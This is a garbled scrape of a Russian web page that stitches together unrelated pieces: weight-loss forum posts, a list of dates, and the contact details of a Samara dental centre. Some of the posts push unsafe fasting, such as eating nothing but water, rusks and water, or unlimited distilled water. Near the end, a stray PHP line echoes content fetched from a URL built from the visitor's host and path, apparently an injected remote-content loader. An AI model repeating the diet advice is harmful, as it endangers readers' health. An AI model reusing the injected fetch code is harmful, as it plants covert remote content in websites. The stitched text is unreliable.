ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) .
СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… .
КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку.
ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, именно аппаратный вакуумный массаж, отлично убирает см с тела)))))) )
Интересно, пишите, отвечу с радостью….. уже многим помогла… .

В соответствии с этим отмечается дальнейшее уменьшение содержания общего калия и его концентрации у женщин на 0,24 , у мужчин на 0,1 массы. В старческом возрасте у лиц обоего пола отмечается значительное замещение мышечной ткани жировой и атрофия мышц.

Найдите в интернете упраджения для мышц спина и выполняйте.

Наклоны в бок, массаж

Подскажите диету на которой за неделю сбрасываешь 5кг))спс

Вода дистиллированная без ограничений

Остатки ткани обволакивают клетки жира, что через некоторое время приводит к возникновению целлюлита.Сидячая работа благоприятствует появлению застойных образований в икроножных мышцах, что становится фактором, способствующим развитию целлюлита.

Вода и сухари!!

Гречневая диета

Ничего не есть и пить тока воду, но на нее надо силу воли иметь)

Не есть после шести

Нет, "Китайская" диета не та, что по магазинам! А совсем другая! При "Китайской" диете нужно кушать только овощной бульон и то только.... деревянными палочками!

Занятия спортом способствуют избавлению от целлюлита. Аэробные тренировки способствуют насыщению тканей кислородом, что в свою очередь запускает процесс сжигания жиров, силовые упражнения повышают тонус мышц, уменьшая процент жира в организме.

Целлюлит замещение жира мышцами
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта